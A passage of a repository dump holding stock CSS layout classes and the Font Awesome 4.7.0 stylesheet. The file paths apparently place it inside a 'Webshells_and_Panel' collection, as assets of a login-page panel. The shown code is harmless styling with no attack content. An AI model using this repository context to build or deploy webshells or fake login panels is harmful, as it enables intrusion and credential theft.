-webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: row;\r\n\t-moz-flex-direction: row;\r\n\t-ms-flex-direction: row;\r\n\t-o-flex-direction: row;\r\n\tflex-direction: row;\r\n}\r\n\r\n.flex-row-rev {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: row-reverse;\r\n\t-moz-flex-direction: row-reverse;\r\n\t-ms-flex-direction: row-reverse;\r\n\t-o-flex-direction: row-reverse;\r\n\tflex-direction: row-reverse;\r\n}\r\n\r\n.flex-col {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n}\r\n\r\n.flex-col-rev {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-c-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-c-t {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-c-b {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-c-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: center;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n.flex-l-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-start;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-r-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: flex-end;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-sa-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-around;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-sb-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\tjustify-content: space-between;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-col-l {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-col-r {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-col-c {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-col-l-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-col-r-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-col-c-m {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n\tjustify-content: center;\r\n}\r\n\r\n.flex-col-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n.flex-col-sb {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column;\r\n\t-moz-flex-direction: column;\r\n\t-ms-flex-direction: column;\r\n\t-o-flex-direction: column;\r\n\tflex-direction: column;\r\n\tjustify-content: space-between;\r\n}\r\n\r\n/* ------------------------------------ */\r\n.flex-col-rev-l {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: flex-start;\r\n\talign-items: flex-start;\r\n}\r\n\r\n.flex-col-rev-r {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: flex-end;\r\n\talign-items: flex-end;\r\n}\r\n\r\n.flex-col-rev-c {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: center;\r\n\talign-items: center;\r\n}\r\n\r\n.flex-col-rev-str {\r\n\tdisplay: -webkit-box;\r\n\tdisplay: -webkit-flex;\r\n\tdisplay: -moz-box;\r\n\tdisplay: -ms-flexbox;\r\n\tdisplay: flex;\r\n\t-webkit-flex-direction: column-reverse;\r\n\t-moz-flex-direction: column-reverse;\r\n\t-ms-flex-direction: column-reverse;\r\n\t-o-flex-direction: column-reverse;\r\n\tflex-direction: column-reverse;\r\n\t-ms-align-items: stretch;\r\n\talign-items: stretch;\r\n}\r\n\r\n\r\n/*[ Absolute ]\r\n-----------------------------------------------------------\r\n*/\r\n.ab-c-m {\r\n\tposition: absolute;\r\n\ttop: 50%;\r\n\tleft: 50%;\r\n\t-webkit-transform: translate(-50%, -50%);\r\n  \t-moz-transform: translate(-50%, -50%);\r\n  \t-ms-transform: translate(-50%, -50%);\r\n  \t-o-transform: translate(-50%, -50%);\r\n\ttransform: translate(-50%, -50%);\r\n}\r\n\r\n.ab-c-t {\r\n\tposition: absolute;\r\n\ttop: 0px;\r\n\tleft: 50%;\r\n\t-webkit-transform: translateX(-50%);\r\n  \t-moz-transform: translateX(-50%);\r\n  \t-ms-transform: translateX(-50%);\r\n  \t-o-transform: translateX(-50%);\r\n\ttransform: translateX(-50%);\r\n}\r\n\r\n.ab-c-b {\r\n\tposition: absolute;\r\n\tbottom: 0px;\r\n\tleft: 50%;\r\n\t-webkit-transform: translateX(-50%);\r\n  \t-moz-transform: translateX(-50%);\r\n  \t-ms-transform: translateX(-50%);\r\n  \t-o-transform: translateX(-50%);\r\n\ttransform: translateX(-50%);\r\n}\r\n\r\n.ab-l-m {\r\n\tposition: absolute;\r\n\tleft: 0px;\r\n\ttop: 50%;\r\n\t-webkit-transform: translateY(-50%);\r\n  \t-moz-transform: translateY(-50%);\r\n  \t-ms-transform: translateY(-50%);\r\n  \t-o-transform: translateY(-50%);\r\n\ttransform: translateY(-50%);\r\n}\r\n\r\n.ab-r-m {\r\n\tposition: absolute;\r\n\tright: 0px;\r\n\ttop: 50%;\r\n\t-webkit-transform: translateY(-50%);\r\n  \t-moz-transform: translateY(-50%);\r\n  \t-ms-transform: translateY(-50%);\r\n  \t-o-transform: translateY(-50%);\r\n\ttransform: translateY(-50%);\r\n}\r\n\r\n.ab-t-l {\r\n\tposition: absolute;\r\n\tleft: 0px;\r\n\ttop: 0px;\r\n}\r\n\r\n.ab-t-r {\r\n\tposition: absolute;\r\n\tright: 0px;\r\n\ttop: 0px;\r\n}\r\n\r\n.ab-b-l {\r\n\tposition: absolute;\r\n\tleft: 0px;\r\n\tbottom: 0px;\r\n}\r\n\r\n.ab-b-r {\r\n\tposition: absolute;\r\n\tright: 0px;\r\n\tbottom: 0px;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/HELP-US-OUT.txt",
    "content": "I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project,\nFort Awesome (https://fortawesome.com). It makes it easy to put the perfect icons on your website. Choose from our awesome,\ncomprehensive icon sets or copy and paste your own.\n\nPlease. Check it out.\n\n-Dave Gandy\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/css/font-awesome.css",
    "content": "/*!\n *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome\n *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */\n/* FONT PATH\n * -------------------------- */\n@font-face {\n  font-family: 'FontAwesome';\n  src: url('../fonts/fontawesome-webfont.eot?v=4.7.0');\n  src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');\n  font-weight: normal;\n  font-style: normal;\n}\n.fa {\n  display: inline-block;\n  font: normal normal normal 14px/1 FontAwesome;\n  font-size: inherit;\n  text-rendering: auto;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n/* makes the font 33% larger relative to the icon container */\n.fa-lg {\n  font-size: 1.33333333em;\n  line-height: 0.75em;\n  vertical-align: -15%;\n}\n.fa-2x {\n  font-size: 2em;\n}\n.fa-3x {\n  font-size: 3em;\n}\n.fa-4x {\n  font-size: 4em;\n}\n.fa-5x {\n  font-size: 5em;\n}\n.fa-fw {\n  width: 1.28571429em;\n  text-align: center;\n}\n.fa-ul {\n  padding-left: 0;\n  margin-left: 2.14285714em;\n  list-style-type: none;\n}\n.fa-ul > li {\n  position: relative;\n}\n.fa-li {\n  position: absolute;\n  left: -2.14285714em;\n  width: 2.14285714em;\n  top: 0.14285714em;\n  text-align: center;\n}\n.fa-li.fa-lg {\n  left: -1.85714286em;\n}\n.fa-border {\n  padding: .2em .25em .15em;\n  border: solid 0.08em #eeeeee;\n  border-radius: .1em;\n}\n.fa-pull-left {\n  float: left;\n}\n.fa-pull-right {\n  float: right;\n}\n.fa.fa-pull-left {\n  margin-right: .3em;\n}\n.fa.fa-pull-right {\n  margin-left: .3em;\n}\n/* Deprecated as of 4.4.0 */\n.pull-right {\n  float: right;\n}\n.pull-left {\n  float: left;\n}\n.fa.pull-left {\n  margin-right: .3em;\n}\n.fa.pull-right {\n  margin-left: .3em;\n}\n.fa-spin {\n  -webkit-animation: fa-spin 2s infinite linear;\n  animation: fa-spin 2s infinite linear;\n}\n.fa-pulse {\n  -webkit-animation: fa-spin 1s infinite steps(8);\n  animation: fa-spin 1s infinite steps(8);\n}\n@-webkit-keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n    transform: rotate(359deg);\n  }\n}\n@keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n    transform: rotate(359deg);\n  }\n}\n.fa-rotate-90 {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";\n  -webkit-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n.fa-rotate-180 {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";\n  -webkit-transform: rotate(180deg);\n  -ms-transform: rotate(180deg);\n  transform: rotate(180deg);\n}\n.fa-rotate-270 {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";\n  -webkit-transform: rotate(270deg);\n  -ms-transform: rotate(270deg);\n  transform: rotate(270deg);\n}\n.fa-flip-horizontal {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";\n  -webkit-transform: scale(-1, 1);\n  -ms-transform: scale(-1, 1);\n  transform: scale(-1, 1);\n}\n.fa-flip-vertical {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n  -webkit-transform: scale(1, -1);\n  -ms-transform: scale(1, -1);\n  transform: scale(1, -1);\n}\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical {\n  filter: none;\n}\n.fa-stack {\n  position: relative;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  line-height: 2em;\n  vertical-align: middle;\n}\n.fa-stack-1x,\n.fa-stack-2x {\n  position: absolute;\n  left: 0;\n  width: 100%;\n  text-align: center;\n}\n.fa-stack-1x {\n  line-height: inherit;\n}\n.fa-stack-2x {\n  font-size: 2em;\n}\n.fa-inverse {\n  color: #ffffff;\n}\n/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\n   readers do not read off random characters that represent icons */\n.fa-glass:before {\n  content: \"\\f000\";\n}\n.fa-music:before {\n  content: \"\\f001\";\n}\n.fa-search:before {\n  content: \"\\f002\";\n}\n.fa-envelope-o:before {\n  content: \"\\f003\";\n}\n.fa-heart:before {\n  content: \"\\f004\";\n}\n.fa-star:before {\n  content: \"\\f005\";\n}\n.fa-star-o:before {\n  content: \"\\f006\";\n}\n.fa-user:before {\n  content: \"\\f007\";\n}\n.fa-film:before {\n  content: \"\\f008\";\n}\n.fa-th-large:before {\n  content: \"\\f009\";\n}\n.fa-th:before {\n  content: \"\\f00a\";\n}\n.fa-th-list:before {\n  content: \"\\f00b\";\n}\n.fa-check:before {\n  content: \"\\f00c\";\n}\n.fa-remove:before,\n.fa-close:before,\n.fa-times:before {\n  content: \"\\f00d\";\n}\n.fa-search-plus:before {\n  content: \"\\f00e\";\n}\n.fa-search-minus:before {\n  content: \"\\f010\";\n}\n.fa-power-off:before {\n  content: \"\\f011\";\n}\n.fa-signal:before {\n  content: \"\\f012\";\n}\n.fa-gear:before,\n.fa-cog:before {\n  content: \"\\f013\";\n}\n.fa-trash-o:before {\n  content: \"\\f014\";\n}\n.fa-home:before {\n  content: \"\\f015\";\n}\n.fa-file-o:before {\n  content: \"\\f016\";\n}\n.fa-clock-o:before {\n  content: \"\\f017\";\n}\n.fa-road:before {\n  content: \"\\f018\";\n}\n.fa-download:before {\n  content: \"\\f019\";\n}\n.fa-arrow-circle-o-down:before {\n  content: \"\\f01a\";\n}\n.fa-arrow-circle-o-up:before {\n  content: \"\\f01b\";\n}\n.fa-inbox:before {\n  content: \"\\f01c\";\n}\n.fa-play-circle-o:before {\n  content: \"\\f01d\";\n}\n.fa-rotate-right:before,\n.fa-repeat:before {\n  content: \"\\f01e\";\n}\n.fa-refresh:before {\n  content: \"\\f021\";\n}\n.fa-list-alt:before {\n  content: \"\\f022\";\n}\n.fa-lock:before {\n  content: \"\\f023\";\n}\n.fa-flag:before {\n  content: \"\\f024\";\n}\n.fa-headphones:before {\n  content: \"\\f025\";\n}\n.fa-volume-off:before {\n  content: \"\\f026\";\n}\n.fa-volume-down:before {\n  content: \"\\f027\";\n}\n.fa-volume-up:before {\n  content: \"\\f028\";\n}\n.fa-qrcode:before {\n  content: \"\\f029\";\n}\n.fa-barcode:before {\n  content: \"\\f02a\";\n}\n.fa-tag:before {\n  content: \"\\f02b\";\n}\n.fa-tags:before {\n  content: \"\\f02c\";\n}\n.fa-book:before {\n  content: \"\\f02d\";\n}\n.fa-bookmark:before {\n  content: \"\\f02e\";\n}\n.fa-print:before {\n  content: \"\\f02f\";\n}\n.fa-camera:before {\n  content: \"\\f030\";\n}\n.fa-font:before {\n  content: \"\\f031\";\n}\n.fa-bold:before {\n  content: \"\\f032\";\n}\n.fa-italic:before {\n  content: \"\\f033\";\n}\n.fa-text-height:before {\n  content: \"\\f034\";\n}\n.fa-text-width:before {\n  content: \"\\f035\";\n}\n.fa-align-left:before {\n  content: \"\\f036\";\n}\n.fa-align-center:before {\n  content: \"\\f037\";\n}\n.fa-align-right:before {\n  content: \"\\f038\";\n}\n.fa-align-justify:before {\n  content: \"\\f039\";\n}\n.fa-list:before {\n  content: \"\\f03a\";\n}\n.fa-dedent:before,\n.fa-outdent:before {\n  content: \"\\f03b\";\n}\n.fa-indent:before {\n  content: \"\\f03c\";\n}\n.fa-video-camera:before {\n  content: \"\\f03d\";\n}\n.fa-photo:before,\n.fa-image:before,\n.fa-picture-o:before {\n  content: \"\\f03e\";\n}\n.fa-pencil:before {\n  content: \"\\f040\";\n}\n.fa-map-marker:before {\n  content: \"\\f041\";\n}\n.fa-adjust:before {\n  content: \"\\f042\";\n}\n.fa-tint:before {\n  content: \"\\f043\";\n}\n.fa-edit:before,\n.fa-pencil-square-o:before {\n  content: \"\\f044\";\n}\n.fa-share-square-o:before {\n  content: \"\\f045\";\n}\n.fa-check-square-o:before {\n  content: \"\\f046\";\n}\n.fa-arrows:before {\n  content: \"\\f047\";\n}\n.fa-step-backward:before {\n  content: \"\\f048\";\n}\n.fa-fast-backward:before {\n  content: \"\\f049\";\n}\n.fa-backward:before {\n  content: \"\\f04a\";\n}\n.fa-play:before {\n  content: \"\\f04b\";\n}\n.fa-pause:before {\n  content: \"\\f04c\";\n}\n.fa-stop:before {\n  content: \"\\f04d\";\n}\n.fa-forward:before {\n  content: \"\\f04e\";\n}\n.fa-fast-forward:before {\n  content: \"\\f050\";\n}\n.fa-step-forward:before {\n  content: \"\\f051\";\n}\n.fa-eject:before {\n  content: \"\\f052\";\n}\n.fa-chevron-left:before {\n  content: \"\\f053\";\n}\n.fa-chevron-right:before {\n  content: \"\\f054\";\n}\n.fa-plus-circle:before {\n  content: \"\\f055\";\n}\n.fa-minus-circle:before {\n  content: \"\\f056\";\n}\n.fa-times-circle:before {\n  content: \"\\f057\";\n}\n.fa-check-circle:before {\n  content: \"\\f058\";\n}\n.fa-question-circle:before {\n  content: \"\\f059\";\n}\n.fa-info-circle:before {\n  content: \"\\f05a\";\n}\n.fa-crosshairs:before {\n  content: \"\\f05b\";\n}\n.fa-times-circle-o:before {\n  content: \"\\f05c\";\n}\n.fa-check-circle-o:before {\n  content: \"\\f05d\";\n}\n.fa-ban:before {\n  content: \"\\f05e\";\n}\n.fa-arrow-left:before {\n  content: \"\\f060\";\n}\n.fa-arrow-right:before {\n  content: \"\\f061\";\n}\n.fa-arrow-up:before {\n  content: \"\\f062\";\n}\n.fa-arrow-down:before {\n  content: \"\\f063\";\n}\n.fa-mail-forward:before,\n.fa-share:before {\n  content: \"\\f064\";\n}\n.fa-expand:before {\n  content: \"\\f065\";\n}\n.fa-compress:before {\n  content: \"\\f066\";\n}\n.fa-plus:before {\n  content: \"\\f067\";\n}\n.fa-minus:before {\n  content: \"\\f068\";\n}\n.fa-asterisk:before {\n  content: \"\\f069\";\n}\n.fa-exclamation-circle:before {\n  content: \"\\f06a\";\n}\n.fa-gift:before {\n  content: \"\\f06b\";\n}\n.fa-leaf:before {\n  content: \"\\f06c\";\n}\n.fa-fire:before {\n  content: \"\\f06d\";\n}\n.fa-eye:before {\n  content: \"\\f06e\";\n}\n.fa-eye-slash:before {\n  content: \"\\f070\";\n}\n.fa-warning:before,\n.fa-exclamation-triangle:before {\n  content: \"\\f071\";\n}\n.fa-plane:before {\n  content: \"\\f072\";\n}\n.fa-calendar:before {\n  content: \"\\f073\";\n}\n.fa-random:before {\n  content: \"\\f074\";\n}\n.fa-comment:before {\n  content: \"\\f075\";\n}\n.fa-magnet:before {\n  content: \"\\f076\";\n}\n.fa-chevron-up:before {\n  content: \"\\f077\";\n}\n.fa-chevron-down:before {\n  content: \"\\f078\";\n}\n.fa-retweet:before {\n  content: \"\\f079\";\n}\n.fa-shopping-cart:before {\n  content: \"\\f07a\";\n}\n.fa-folder:before {\n  content: \"\\f07b\";\n}\n.fa-folder-open:before {\n  content: \"\\f07c\";\n}\n.fa-arrows-v:before {\n  content: \"\\f07d\";\n}\n.fa-arrows-h:before {\n  content: \"\\f07e\";\n}\n.fa-bar-chart-o:before,\n.fa-bar-chart:before {\n  content: \"\\f080\";\n}\n.fa-twitter-square:before {\n  content: \"\\f081\";\n}\n.fa-facebook-square:before {\n  content: \"\\f082\";\n}\n.fa-camera-retro:before {\n  content: \"\\f083\";\n}\n.fa-key:before {\n  content: \"\\f084\";\n}\n.fa-gears:before,\n.fa-cogs:before {\n  content: \"\\f085\";\n}\n.fa-comments:before {\n  content: \"\\f086\";\n}\n.fa-thumbs-o-up:before {\n  content: \"\\f087\";\n}\n.fa-thumbs-o-down:before {\n  content: \"\\f088\";\n}\n.fa-star-half:before {\n  content: \"\\f089\";\n}\n.fa-heart-o:before {\n  content: \"\\f08a\";\n}\n.fa-sign-out:before {\n  content: \"\\f08b\";\n}\n.fa-linkedin-square:before {\n  content: \"\\f08c\";\n}\n.fa-thumb-tack:before {\n  content: \"\\f08d\";\n}\n.fa-external-link:before {\n  content: \"\\f08e\";\n}\n.fa-sign-in:before {\n  content: \"\\f090\";\n}\n.fa-trophy:before {\n  content: \"\\f091\";\n}\n.fa-github-square:before {\n  content: \"\\f092\";\n}\n.fa-upload:before {\n  content: \"\\f093\";\n}\n.fa-lemon-o:before {\n  content: \"\\f094\";\n}\n.fa-phone:before {\n  content: \"\\f095\";\n}\n.fa-square-o:before {\n  content: \"\\f096\";\n}\n.fa-bookmark-o:before {\n  content: \"\\f097\";\n}\n.fa-phone-square:before {\n  content: \"\\f098\";\n}\n.fa-twitter:before {\n  content: \"\\f099\";\n}\n.fa-facebook-f:before,\n.fa-facebook:before {\n  content: \"\\f09a\";\n}\n.fa-github:before {\n  content: \"\\f09b\";\n}\n.fa-unlock:before {\n  content: \"\\f09c\";\n}\n.fa-credit-card:before {\n  content: \"\\f09d\";\n}\n.fa-feed:before,\n.fa-rss:before {\n  content: \"\\f09e\";\n}\n.fa-hdd-o:before {\n  content: \"\\f0a0\";\n}\n.fa-bullhorn:before {\n  content: \"\\f0a1\";\n}\n.fa-bell:before {\n  content: \"\\f0f3\";\n}\n.fa-certificate:before {\n  content: \"\\f0a3\";\n}\n.fa-hand-o-right:before {\n  content: \"\\f0a4\";\n}\n.fa-hand-o-left:before {\n  content: \"\\f0a5\";\n}\n.fa-hand-o-up:before {\n  content: \"\\f0a6\";\n}\n.fa-hand-o-down:before {\n  content: \"\\f0a7\";\n}\n.fa-arrow-circle-left:before {\n  content: \"\\f0a8\";\n}\n.fa-arrow-circle-right:before {\n  content: \"\\f0a9\";\n}\n.fa-arrow-circle-up:before {\n  content: \"\\f0aa\";\n}\n.fa-arrow-circle-down:before {\n  content: \"\\f0ab\";\n}\n.fa-globe:before {\n  content: \"\\f0ac\";\n}\n.fa-wrench:before {\n  content: \"\\f0ad\";\n}\n.fa-tasks:before {\n  content: \"\\f0ae\";\n}\n.fa-filter:before {\n  content: \"\\f0b0\";\n}\n.fa-briefcase:before {\n  content: \"\\f0b1\";\n}\n.fa-arrows-alt:before {\n  content: \"\\f0b2\";\n}\n.fa-group:before,\n.fa-users:before {\n  content: \"\\f0c0\";\n}\n.fa-chain:before,\n.fa-link:before {\n  content: \"\\f0c1\";\n}\n.fa-cloud:before {\n  content: \"\\f0c2\";\n}\n.fa-flask:before {\n  content: \"\\f0c3\";\n}\n.fa-cut:before,\n.fa-scissors:before {\n  content: \"\\f0c4\";\n}\n.fa-copy:before,\n.fa-files-o:before {\n  content: \"\\f0c5\";\n}\n.fa-paperclip:before {\n  content: \"\\f0c6\";\n}\n.fa-save:before,\n.fa-floppy-o:before {\n  content: \"\\f0c7\";\n}\n.fa-square:before {\n  content: \"\\f0c8\";\n}\n.fa-navicon:before,\n.fa-reorder:before,\n.fa-bars:before {\n  content: \"\\f0c9\";\n}\n.fa-list-ul:before {\n  content: \"\\f0ca\";\n}\n.fa-list-ol:before {\n  content: \"\\f0cb\";\n}\n.fa-strikethrough:before {\n  content: \"\\f0cc\";\n}\n.fa-underline:before {\n  content: \"\\f0cd\";\n}\n.fa-table:before {\n  content: \"\\f0ce\";\n}\n.fa-magic:before {\n  content: \"\\f0d0\";\n}\n.fa-truck:before {\n  content: \"\\f0d1\";\n}\n.fa-pinterest:before {\n  content: \"\\f0d2\";\n}\n.fa-pinterest-square:before {\n  content: \"\\f0d3\";\n}\n.fa-google-plus-square:before {\n  content: \"\\f0d4\";\n}\n.fa-google-plus:before {\n  content: \"\\f0d5\";\n}\n.fa-money:before {\n  content: \"\\f0d6\";\n}\n.fa-caret-down:before {\n  content: \"\\f0d7\";\n}\n.fa-caret-up:before {\n  content: \"\\f0d8\";\n}\n.fa-caret-left:before {\n  content: \"\\f0d9\";\n}\n.fa-caret-right:before {\n  content: \"\\f0da\";\n}\n.fa-columns:before {\n  content: \"\\f0db\";\n}\n.fa-unsorted:before,\n.fa-sort:before {\n  content: \"\\f0dc\";\n}\n.fa-sort-down:before,\n.fa-sort-desc:before {\n  content: \"\\f0dd\";\n}\n.fa-sort-up:before,\n.fa-sort-asc:before {\n  content: \"\\f0de\";\n}\n.fa-envelope:before {\n  content: \"\\f0e0\";\n}\n.fa-linkedin:before {\n  content: \"\\f0e1\";\n}\n.fa-rotate-left:before,\n.fa-undo:before {\n  content: \"\\f0e2\";\n}\n.fa-legal:before,\n.fa-gavel:before {\n  content: \"\\f0e3\";\n}\n.fa-dashboard:before,\n.fa-tachometer:before {\n  content: 